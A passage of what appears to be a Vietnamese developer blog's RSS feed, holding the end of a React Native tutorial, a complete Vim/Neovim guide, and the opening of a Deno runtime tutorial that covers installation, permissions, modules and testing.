  login: (email: string, password: string) =&gt; Promise&amp;#x3C;void&gt;;
  logout: () =&gt; void;
}

const useAuthStore = create&amp;#x3C;AuthStore&gt;()(
  persist(
    (set) =&gt; ({
      user: null,
      token: null,

      login: async (email, password) =&gt; {
        const response = await fetch(&apos;https://api.example.com/login&apos;, {
          method: &apos;POST&apos;,
          body: JSON.stringify({ email, password }),
        });
        const data = await response.json();
        set({ user: data.user, token: data.token });
      },

      logout: () =&gt; {
        set({ user: null, token: null });
      },
    }),
    {
      name: &apos;auth-storage&apos;,
      storage: {
        getItem: async (name) =&gt; {
          const value = await AsyncStorage.getItem(name);
          return value ? JSON.parse(value) : null;
        },
        setItem: async (name, value) =&gt; {
          await AsyncStorage.setItem(name, JSON.stringify(value));
        },
        removeItem: async (name) =&gt; {
          await AsyncStorage.removeItem(name);
        },
      },
    }
  ),
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Network Calls&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import { useQuery, useMutation, QueryClient, QueryClientProvider } from &apos;@tanstack/react-query&apos;;

const queryClient = new QueryClient();

function Posts() {
  const { data, isLoading, error } = useQuery({
    queryKey: [&apos;posts&apos;],
    queryFn: () =&gt; fetch(&apos;https://jsonplaceholder.typicode.com/posts&apos;).then(r =&gt; r.json()),
  });

  const createMutation = useMutation({
    mutationFn: (newPost) =&gt;
      fetch(&apos;https://jsonplaceholder.typicode.com/posts&apos;, {
        method: &apos;POST&apos;,
        body: JSON.stringify(newPost),
      }).then(r =&gt; r.json()),
    onSuccess: () =&gt; {
      queryClient.invalidateQueries({ queryKey: [&apos;posts&apos;] });
    },
  });

  if (isLoading) return &amp;#x3C;ActivityIndicator /&gt;;
  if (error) return &amp;#x3C;Text&gt;Error loading posts&amp;#x3C;/Text&gt;;

  return (
    &amp;#x3C;FlatList
      data={data}
      keyExtractor={(item) =&gt; item.id.toString()}
      renderItem={({ item }) =&gt; (
        &amp;#x3C;View style={styles.post}&gt;
          &amp;#x3C;Text style={styles.postTitle}&gt;{item.title}&amp;#x3C;/Text&gt;
          &amp;#x3C;Text&gt;{item.body}&amp;#x3C;/Text&gt;
        &amp;#x3C;/View&gt;
      )}
      refreshing={isLoading}
      onRefresh={() =&gt; queryClient.invalidateQueries({ queryKey: [&apos;posts&apos;] })}
    /&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Native Features&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import * as ImagePicker from &apos;expo-image-picker&apos;;
import * as Location from &apos;expo-location&apos;;
import * as Notifications from &apos;expo-notifications&apos;;

// Camera
async function pickImage() {
  const result = await ImagePicker.launchCameraAsync({
    quality: 0.8,
    allowsEditing: true,
  });
  if (!result.canceled) {
    setImage(result.assets[0].uri);
  }
}

// Location
async function getLocation() {
  const { status } = await Location.requestForegroundPermissionsAsync();
  if (status !== &apos;granted&apos;) return;

  const location = await Location.getCurrentPositionAsync({});
  console.log(location.coords.latitude, location.coords.longitude);
}

// Push Notifications
async function registerForPush() {
  const { status } = await Notifications.requestPermissionsAsync();
  if (status !== &apos;granted&apos;) return;

  const token = await Notifications.getExpoPushTokenAsync();
  console.log(token.data);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Performance&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// 1. FlatList thay ScrollView
&amp;#x3C;FlatList
  data={items}
  renderItem={renderItem}
  keyExtractor={item =&gt; item.id}
  initialNumToRender={10}
  maxToRenderPerBatch={10}
  windowSize={5}
  removeClippedSubviews={true}
/&gt;

// 2. useMemo + useCallback
const sortedItems = useMemo(() =&gt; {
  return items.sort((a, b) =&gt; a.name.localeCompare(b.name));
}, [items]);

const handlePress = useCallback((id: number) =&gt; {
  navigation.navigate(&apos;Detail&apos;, { id });
}, []);

// 3. Images
&amp;#x3C;Image
  source={{ uri: imageUrl }}
  style={styles.image}
  resizeMode=&quot;cover&quot;
  fadeDuration={300}
/&gt;

// 4. Avoid inline styles
const styles = StyleSheet.create({
  container: { flex: 1 }, // Không tạo object mới mỗi render
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Deploy&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Android — APK/AAB
cd android
./gradlew assembleRelease
# File ở android/app/build/outputs/apk/release/

# iOS — Archive
# Mở .xcworkspace trong Xcode → Product → Archive

# EAS Build (Expo)
eas build --platform all --profile production
eas submit --platform ios
eas submit --platform android
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Expo vs React Native CLI&lt;/h2&gt;
&lt;p&gt;| Expo | React Native CLI |
|---|---|
| ✅ Dễ setup, không cần Xcode/Android Studio | Cần native environment |
| ✅ OTA updates | Phải build lại |
| ✅ 50+ prebuilt modules | Tự config native |
| ❌ Không dùng native module tùy chỉnh | ✅ Full native control |
| ❌ Bundle size lớn hơn | ✅ Tối ưu hơn |&lt;/p&gt;
&lt;p&gt;Khuyến nghị: Bắt đầu với Expo. Chỉ chuyển sang bare workflow khi cần native module đặc biệt.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;React Native là lựa chọn tốt cho mobile app nếu bạn đã biết React:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Một codebase cho iOS + Android&lt;/li&gt;
&lt;li&gt;Hot reload&lt;/li&gt;
&lt;li&gt;Ecosystem lớn (Expo, React Navigation, TanStack Query)&lt;/li&gt;
&lt;li&gt;Có thể fallback sang native code khi cần&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bắt đầu với Expo + TypeScript, thêm navigation với React Navigation, state với Zustand + TanStack Query, deploy với EAS Build.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://reactnative.dev/docs/getting-started&quot;&gt;React Native Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.expo.dev&quot;&gt;Expo Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://reactnavigation.org/docs/getting-started/&quot;&gt;React Navigation Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zustand.docs.pmnd.rs/getting-started/introduction&quot;&gt;Zustand Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tanstack.com/query/latest/docs/framework/react/react-native&quot;&gt;TanStack Query — React Native&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Vim/Neovim — Soạn Thảo Văn Bản Tốc Độ Ánh Sáng</title><link>https://dopana-blog.pages.dev/blog/vim-neovim</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/vim-neovim</guid><description>Làm quen với Vim/Neovim: modal editing, navigation, configuration và biến editor thành IDE.</description><pubDate>Mon, 06 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Vim không dễ — nhưng một khi đã quen, bạn sẽ không muốn quay lại. Modal editing giúp thao tác với văn bản nhanh hơn chuột rất nhiều.&lt;/p&gt;
&lt;h2&gt;Modal Editing — Chìa Khóa Của Vim&lt;/h2&gt;
&lt;p&gt;Các chế độ (mode):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Normal  → Insert  → Visual  → Command
  ↓        ↓          ↓          ↓
  Điều    Gõ chữ    Chọn text  Lệnh
  hướng
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thoát Insert: &lt;code&gt;Esc&lt;/code&gt; hoặc &lt;code&gt;Ctrl+[&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Navigation — Di Chuyển Không Cần Chuột&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;    ↑
    k
← h   l →    ← b/w (word)
    j           e (end of word)
    ↓         0/$ (đầu/cuối dòng)
             ^ (ký tự đầu dòng)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Phím | Hành động
---|---
&lt;code&gt;h/j/k/l&lt;/code&gt; | Trái/xuống/lên/phải
&lt;code&gt;w/b&lt;/code&gt; | Word tiếp/trước
&lt;code&gt;e&lt;/code&gt; | Cuối word
&lt;code&gt;0&lt;/code&gt; / &lt;code&gt;^&lt;/code&gt; / &lt;code&gt;$&lt;/code&gt; | Đầu dòng / ký tự đầu / cuối dòng
&lt;code&gt;gg&lt;/code&gt; / &lt;code&gt;G&lt;/code&gt; | Đầu file / cuối file
&lt;code&gt;:{number}&lt;/code&gt; | Nhảy đến dòng số
&lt;code&gt;Ctrl+d/u&lt;/code&gt; | Nửa trang xuống/lên
&lt;code&gt;Ctrl+f/b&lt;/code&gt; | Trang xuống/lên
&lt;code&gt;%&lt;/code&gt; | Nhảy đến ngoặc tương ứng
&lt;code&gt;*&lt;/code&gt; / &lt;code&gt;#&lt;/code&gt; | Tìm từ hiện tại tiếp theo/trước&lt;/p&gt;
&lt;h2&gt;Editing — Thao Tác Văn Bản&lt;/h2&gt;
&lt;h3&gt;Cú Pháp: [count]operator[motion]&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;d2w  → delete 2 words
ci(  → change inside parentheses
y3j  → yank 3 dòng xuống
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Operators&lt;/h3&gt;
&lt;p&gt;| Phím | Hành động |
|---|---|
| &lt;code&gt;d&lt;/code&gt; | Delete (cắt) |
| &lt;code&gt;y&lt;/code&gt; | Yank (copy) |
| &lt;code&gt;c&lt;/code&gt; | Change (xóa + vào Insert) |
| &lt;code&gt;p&lt;/code&gt; / &lt;code&gt;P&lt;/code&gt; | Paste sau/trước |
| &lt;code&gt;x&lt;/code&gt; | Xóa ký tự |
| &lt;code&gt;r&lt;/code&gt; | Replace 1 ký tự |
| &lt;code&gt;.&lt;/code&gt; | Lặp lại hành động cuối |&lt;/p&gt;
&lt;h3&gt;Visual Mode&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;v      → Visual (ký tự)
V      → Visual line
Ctrl+v → Visual block
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chọn xong: &lt;code&gt;d&lt;/code&gt; (xóa), &lt;code&gt;y&lt;/code&gt; (copy), &lt;code&gt;&gt;&lt;/code&gt; (indent), &lt;code&gt;~&lt;/code&gt; (đổi case).&lt;/p&gt;
&lt;h2&gt;Command Mode&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-vim&quot;&gt;:w        &quot; Save
:q        &quot; Quit
:wq       &quot; Save &amp;#x26; quit
:q!       &quot; Force quit
:e file   &quot; Mở file
:bd       &quot; Close buffer
:sp       &quot; Split ngang
:vsp      &quot; Split dọc
:!command &quot; Chạy shell command
:%s/old/new/g  &quot; Replace toàn file
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Buffers, Windows, Tabs&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Buffer → File trong bộ nhớ
Window → Cửa sổ xem buffer
Tab    → Collection của windows
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-vim&quot;&gt;:ls           &quot; Danh sách buffer
:b 3          &quot; Đến buffer số 3
:bn / :bp     &quot; Buffer tiếp/trước

Ctrl+w v      &quot; Vertical split
Ctrl+w s      &quot; Horizontal split
Ctrl+w w      &quot; Chuyển window
Ctrl+w q      &quot; Đóng window

:tabnew file  &quot; Tab mới
gt / gT       &quot; Tab tiếp/trước
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Neovim — Vim Hiện Đại&lt;/h2&gt;
&lt;p&gt;Neovim là fork của Vim với nhiều cải tiến:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LSP built-in — autocomplete, go-to-definition&lt;/li&gt;
&lt;li&gt;Lua thay Vimscript — cấu hình mạnh hơn, dễ hơn&lt;/li&gt;
&lt;li&gt;Treesitter — syntax highlight chính xác&lt;/li&gt;
&lt;li&gt;Built-in terminal — &lt;code&gt;:term&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Config Cơ Bản (init.lua)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-lua&quot;&gt;-- Options
vim.opt.number = true
vim.opt.relativenumber = true
vim.opt.tabstop = 2
vim.opt.shiftwidth = 2
vim.opt.expandtab = true
vim.opt.mouse = &apos;a&apos;
vim.opt.ignorecase = true
vim.opt.smartcase = true
vim.opt.splitright = true
vim.opt.splitbelow = true

-- Keymaps
vim.keymap.set(&apos;n&apos;, &apos;&amp;#x3C;leader&gt;w&apos;, &apos;:w&amp;#x3C;CR&gt;&apos;)
vim.keymap.set(&apos;n&apos;, &apos;&amp;#x3C;leader&gt;q&apos;, &apos;:q&amp;#x3C;CR&gt;&apos;)
vim.keymap.set(&apos;n&apos;, &apos;&amp;#x3C;leader&gt;e&apos;, &apos;:NvimTreeToggle&amp;#x3C;CR&gt;&apos;)
vim.keymap.set(&apos;n&apos;, &apos;&amp;#x3C;leader&gt;ff&apos;, &apos;:Telescope find_files&amp;#x3C;CR&gt;&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Plugins Thiết Yếu&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-lua&quot;&gt;-- lazy.nvim — plugin manager
local lazypath = vim.fn.stdpath(&apos;data&apos;) .. &apos;/lazy/lazy.nvim&apos;
vim.opt.rtp:prepend(lazypath)

require(&apos;lazy&apos;).setup({
  -- Navigation
  &apos;nvim-telescope/telescope.nvim&apos;,    -- Fuzzy finder
  &apos;nvim-tree/nvim-tree.lua&apos;,           -- File explorer
  -- LSP
  &apos;neovim/nvim-lspconfig&apos;,             -- LSP client
  &apos;hrsh7th/nvim-cmp&apos;,                  -- Autocomplete
  -- Editor
  &apos;nvim-treesitter/nvim-treesitter&apos;,   -- Syntax highlight
  &apos;windwp/nvim-autopairs&apos;,             -- Auto close brackets
  &apos;numToStr/Comment.nvim&apos;,             -- Comment toggling
  -- Git
  &apos;lewis6991/gitsigns.nvim&apos;,           -- Git signs in gutter
  -- Theme
  &apos;catppuccin/nvim&apos;,                   -- Theme
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Plugin Tương Đương IDE&lt;/h3&gt;
&lt;p&gt;| IDE Feature | Neovim Plugin |
|---|---|
| File explorer | nvim-tree |
| Fuzzy find | Telescope |
| Autocomplete | nvim-cmp + LSP |
| Git blame | gitsigns |
| Terminal | Built-in |
| Debugger | nvim-dap |
| Test runner | neotest |
| Snippets | LuaSnip |&lt;/p&gt;
&lt;h2&gt;Vim Trong IDE&lt;/h2&gt;
&lt;p&gt;Hầu hết IDE đều có Vim mode:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VS Code: Vim extension&lt;/li&gt;
&lt;li&gt;JetBrains: IdeaVim plugin&lt;/li&gt;
&lt;li&gt;VSCode Neovim: Dùng Neovim thật trong VS Code&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Mẹo Hay&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-vim&quot;&gt;&quot; Sửa lỗi nhanh
ciw    &quot; Xóa word hiện tại, vào insert
ci&quot;    &quot; Xóa trong ngoặc kép
cap    &quot; Xóa trong tag HTML (change around pair)
dd     &quot; Xóa dòng
D      &quot; Xóa từ cursor đến cuối dòng
C      &quot; Xóa từ cursor đến cuối dòng + insert

&quot; Macro — ghi và lặp
qa     &quot; Ghi macro vào register a
...    &quot; Thao tác
q      &quot; Dừng ghi
@a     &quot; Chạy macro a
@@     &quot; Lặp lại macro cuối
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Vim khó tuần đầu — nhưng đầu tư 2 tuần để học, bạn tiết kiệm hàng trăm giờ về sau. Bắt đầu với &lt;code&gt;vimtutor&lt;/code&gt; (gõ trong terminal). Sau đó dùng Neovim với config tối thiểu, thêm plugin khi cần. Đừng copy config ai đó — tự build dần dần.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://neovim.io/doc/&quot;&gt;Neovim Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vimhelp.org/&quot;&gt;Vim Tutor (built-in)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/folke/lazy.nvim&quot;&gt;lazy.nvim Plugin Manager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nvim-telescope/telescope.nvim&quot;&gt;Telescope.nvim&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/neovim/nvim-lspconfig&quot;&gt;nvim-lspconfig&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yannesposito.com/Scratch/en/blog/Learn-Vim-Progressively/&quot;&gt;Learn Vim Progressively&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Deno — JavaScript Runtime An Toàn TypeScript Native</title><link>https://dopana-blog.pages.dev/blog/deno-javascript-runtime-an-toan-typescript-native</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/deno-javascript-runtime-an-toan-typescript-native</guid><description>Deno là runtime JavaScript/TypeScript an toàn mặc định, không npm, TypeScript native. Runtime đơn nhị phân, Web API tương thích, permissions.</description><pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Deno là runtime cho JavaScript và TypeScript — tạo bởi chính Ryan Dahl (tác giả Node.js). Học từ sai lầm của Node.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Node.js (2009):  npm, node_modules, CommonJS, callback
Deno (2020):     URL import, không node_modules, ESM, async/await, TypeScript
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tại Sao Deno?&lt;/h2&gt;
&lt;h3&gt;Vấn đề với Node.js&lt;/h3&gt;
&lt;p&gt;Ryan Dahl liệt kê 10 điều hối tiếc về Node trong bài talk &quot;10 Things I Regret About Node.js&quot;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Promise thay vì callback (đã fix)&lt;/li&gt;
&lt;li&gt;Security (không sandbox)&lt;/li&gt;
&lt;li&gt;Module system (CommonJS vs ESM mess)&lt;/li&gt;
&lt;li&gt;node_modules nặng&lt;/li&gt;
&lt;li&gt;package.json phình to&lt;/li&gt;
&lt;li&gt;TypeScript không native&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deno giải quyết tất cả.&lt;/p&gt;
&lt;h3&gt;So Sánh&lt;/h3&gt;
&lt;p&gt;| | Node.js | Deno |
|---|---|---|
| TypeScript | Cần tsconfig + ts-node | Native |
| Module | npm + node_modules | URL import + npm (JSR) |
| Security | Full access | Permissions opt-in |
| Package manager | npm/yarn/pnpm | Không cần |
| Config | package.json, tsconfig,... | deno.json (tuỳ chọn) |
| Standard library | npm packages | std (deno.land/std) |
| Web API | fetch, AbortController... | ✅ All Web API |
| Binary | 1 file? | 1 file (~30MB) |&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# macOS / Linux
curl -fsSL https://deno.land/install.sh | sh

# macOS (Homebrew)
brew install deno

# Windows
winget install DenoLand.Deno

# Verify
deno --version
deno --help
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hello World&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// hello.ts
console.log(&apos;Hello Deno!&apos;)

// Chạy — không cần config, không cần package.json
deno run hello.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Cấp quyền network
deno run --allow-net server.ts

# Cấp quyền đọc file
deno run --allow-read file.ts

# Cấp tất cả (không khuyến khích)
deno run -A script.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Permissions&lt;/h2&gt;
&lt;p&gt;Deno an toàn mặc định — script không có quyền gì:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Không chạy được — cần --allow-net
const res = await fetch(&apos;https://api.example.com&apos;)

// Không chạy được — cần --allow-read
const text = await Deno.readTextFile(&apos;/etc/hosts&apos;)

// Không chạy được — cần --allow-env
console.log(Deno.env.get(&apos;HOME&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Grant từng quyền
deno run --allow-net=api.example.com --allow-read=/tmp script.ts

# Prompt quyền khi cần (interactive)
deno run --allow-prompt script.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Permissions: &lt;code&gt;--allow-read&lt;/code&gt;, &lt;code&gt;--allow-write&lt;/code&gt;, &lt;code&gt;--allow-net&lt;/code&gt;, &lt;code&gt;--allow-env&lt;/code&gt;, &lt;code&gt;--allow-run&lt;/code&gt;, &lt;code&gt;--allow-ffi&lt;/code&gt;, &lt;code&gt;--allow-sys&lt;/code&gt;, &lt;code&gt;--allow-hrtime&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;TypeScript Native&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Chạy TypeScript trực tiếp — không tsconfig.json
// Deno tự compile, cache type definitions

interface User {
  id: number
  name: string
  email: string
}

const user: User = {
  id: 1,
  name: &apos;Alice&apos;,
  email: &apos;alice@example.com&apos;,
}

// Deno tự động download type definitions
import { serve } from &apos;https://deno.land/std@0.224.0/http/server.ts&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;// deno.json — optional config (thay thế package.json + tsconfig)
{
  &quot;tasks&quot;: {
    &quot;dev&quot;: &quot;deno run --watch --allow-net src/main.ts&quot;,
    &quot;start&quot;: &quot;deno run --allow-net --allow-read src/main.ts&quot;,
    &quot;test&quot;: &quot;deno test&quot;
  },
  &quot;imports&quot;: {
    &quot;express&quot;: &quot;npm:express@5&quot;,
    &quot;std/&quot;: &quot;https://deno.land/std@0.224.0/&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Module: URL Import&lt;/h2&gt;
&lt;p&gt;Không &lt;code&gt;npm install&lt;/code&gt;, không &lt;code&gt;node_modules&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Import từ URL — Deno cache tự động
import { serve } from &apos;https://deno.land/std@0.224.0/http/server.ts&apos;
import { Hono } from &apos;https://deno.land/x/hono/mod.ts&apos;

// Import từ npm (Deno 2+)
import express from &apos;npm:express@5&apos;

// Import từ JSR (Deno registry mới)
import { z } from &apos;jsr:@std/zod&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Cache ở:
~/.cache/deno/  (macOS/Linux)
%LOCALAPPDATA%/deno/ (Windows)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không &lt;code&gt;npm install&lt;/code&gt;, không &lt;code&gt;node_modules&lt;/code&gt;, không &lt;code&gt;package-lock.json&lt;/code&gt; cho URL imports.&lt;/p&gt;
&lt;h2&gt;HTTP Server&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Web API chuẩn — Request/Response như browser
Deno.serve({ port: 3000 }, (req) =&gt; {
  const url = new URL(req.url)

  if (req.method === &apos;GET&apos; &amp;#x26;&amp;#x26; url.pathname === &apos;/&apos;) {
    return new Response(&apos;Hello Deno!&apos;, {
      headers: { &apos;content-type&apos;: &apos;text/plain&apos; },
    })
  }

  if (req.method === &apos;GET&apos; &amp;#x26;&amp;#x26; url.pathname === &apos;/api/users&apos;) {
    const users = [{ id: 1, name: &apos;Alice&apos; }]
    return Response.json(users)
  }

  return new Response(&apos;Not Found&apos;, { status: 404 })
})

console.log(&apos;Server running on http://localhost:3000&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;deno run --allow-net server.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;File System&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Deno API — promise-based
const content = await Deno.readTextFile(&apos;./data.json&apos;)
const data = JSON.parse(content)

await Deno.writeTextFile(&apos;./output.txt&apos;, &apos;Hello Deno!&apos;)

// Web API
const json = await Deno.readTextFile(&apos;./config.json&apos;)
const config = JSON.parse(json)

// Streaming
const file = await Deno.open(&apos;./large-file.txt&apos;)
for await (const chunk of file.readable) {
  // process chunk
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Standard Library&lt;/h2&gt;
&lt;p&gt;Deno có std library chính thức — không cần npm packages cho common tasks:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// std/fs
import { walk } from &apos;https://deno.land/std@0.224.0/fs/walk.ts&apos;
for await (const entry of walk(&apos;./src&apos;)) {
  console.log(entry.path)
}

// std/path
import { join, extname } from &apos;https://deno.land/std@0.224.0/path/mod.ts&apos;
const fullPath = join(&apos;src&apos;, &apos;components&apos;, &apos;Header.tsx&apos;)
console.log(extname(fullPath)) // .tsx

// std/csv
import { parse } from &apos;https://deno.land/std@0.224.0/csv/parse.ts&apos;
const records = parse(csvString)

// std/testing
import { assertEquals } from &apos;https://deno.land/std@0.224.0/assert/mod.ts&apos;
Deno.test(&apos;should add&apos;, () =&gt; {
  assertEquals(1 + 1, 2)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;p&gt;Testing built-in — không cần Jest/Vitest:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// math_test.ts
import { assertEquals } from &apos;https://deno.land/std@0.224.0/assert/mod.ts&apos;

Deno.test(&apos;add two numbers&apos;, () =&gt; {
  const result = 1 + 2
  assertEquals(result, 3)
})

Deno.test(&apos;async test&apos;, async () =&gt; {
  const res = await fetch(&apos;https://api.example.com&apos;)
  assertEquals(res.status, 200)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chạy test
deno test
deno test --allow-net # Nếu test cần network
deno test --watch # Watch mode
deno test --coverage # Coverage
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Deno 2.x Features&lt;/h2&gt;
&lt;p&gt;Deno 2 (2024+) thêm tương thích ngược với Node.js/npm:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;imports&quot;: {
    &quot;express&quot;: &quot;npm:express@5&quot;,
    &quot;react&quot;: &quot;npm:react@19&quot;,
    &quot;lodash&quot;: &quot;npm:lodash@4&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Chạy package.json project với Deno
deno run npm:next start

// Dùng npm packages
import express from &apos;npm:express@5&apos;
const app = express()
app.get(&apos;/&apos;, (req, res) =&gt; res.send(&apos;Hello from Deno!&apos;))
app.listen(3000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Deno 2 có thể chạy hầu hết Node.js projects — chỉ cần &lt;code&gt;deno run&lt;/code&gt; thay &lt;code&gt;node&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;So Sánh: Node vs Deno&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Node.js
const http = require(&apos;http&apos;)
http.createServer((req, res) =&gt; {
  res.writeHead(200, { &apos;Content-Type&apos;: &apos;text/plain&apos; })
  res.end(&apos;Hello Node\n&apos;)
}).listen(3000)

// Deno
Deno.serve({ port: 3000 }, (req) =&gt; {
  return new Response(&apos;Hello Deno&apos;)
})

// Deno dùng Web API — giống browser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Task | Node | Deno |
|---|---|---|
| HTTP server | http.createServer | Deno.serve (Web API) |
| File read | fs.readFileSync | Deno.readTextFile |
| Environment | process.env | Deno.env.get |
| TypeScript | ts-node, tsconfig | Native |
| Test | Jest, Vitest | Deno.test |
| Format | Prettier | deno fmt |
| Lint | ESLint | deno lint |
| Compile | pkg, nexe | deno compile |&lt;/p&gt;
&lt;h2&gt;Toolchain&lt;/h2&gt;
&lt;p&gt;Deno là runtime + toolchain trong một binary:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;deno run # Run script
deno test # Test runner
deno fmt # Formatter (Prettier alternative)
deno lint # Linter (ESLint alternative)
deno doc # Documentation generator
deno compile # Compile to single binary
deno bench # Benchmark runner
deno task # Run tasks (package.json scripts)
deno check # Type-check
deno init # Init project
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Format code
deno fmt

# Lint
deno lint

# Compile thành binary standalone
deno compile --allow-net --output my-app src/main.ts
# → my-app (single binary, ~30MB, chạy không cần Deno)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Deno?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CLI tool / script — TypeScript native, không config&lt;/li&gt;
